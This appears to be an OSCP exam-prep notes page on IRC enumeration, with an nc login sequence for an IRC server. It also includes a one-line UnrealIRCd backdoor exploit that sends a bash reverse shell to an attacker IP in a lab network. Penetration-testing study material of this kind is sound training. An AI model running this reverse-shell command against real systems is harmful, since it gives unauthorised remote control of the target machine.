> For the complete documentation index, see [llms.txt](https://dhaneshsivasamy07.gitbook.io/oscp-2022/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dhaneshsivasamy07.gitbook.io/oscp-2022/enumeration/irc.md).

# IRC

IRC is **a global, distributed, real-time chat system that operates over the Internet**. An IRC network consists of a set of interconnected servers. Once users are connected to an IRC server, they can converse with other users connected to any server in the IRC network

## Connecting to an IRC Server

* As per the instructions in the [RFC ](https://datatracker.ietf.org/doc/html/rfc1459#section-4.1)

```bash
nc 10.10.10.117 8067
PASS dnoscp
NICK dn
NAME dnoscp dn.htb dnoscp :DN
<Connetion Message>
```

## UnRealIRCd Bind Exploit

* After initializing the connection to the IRC server

```bash
echo 'AB; /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.3/80 0>&1"' | nc -w 3 10.10.10.117 8067
```

* Shell will be obtained


---

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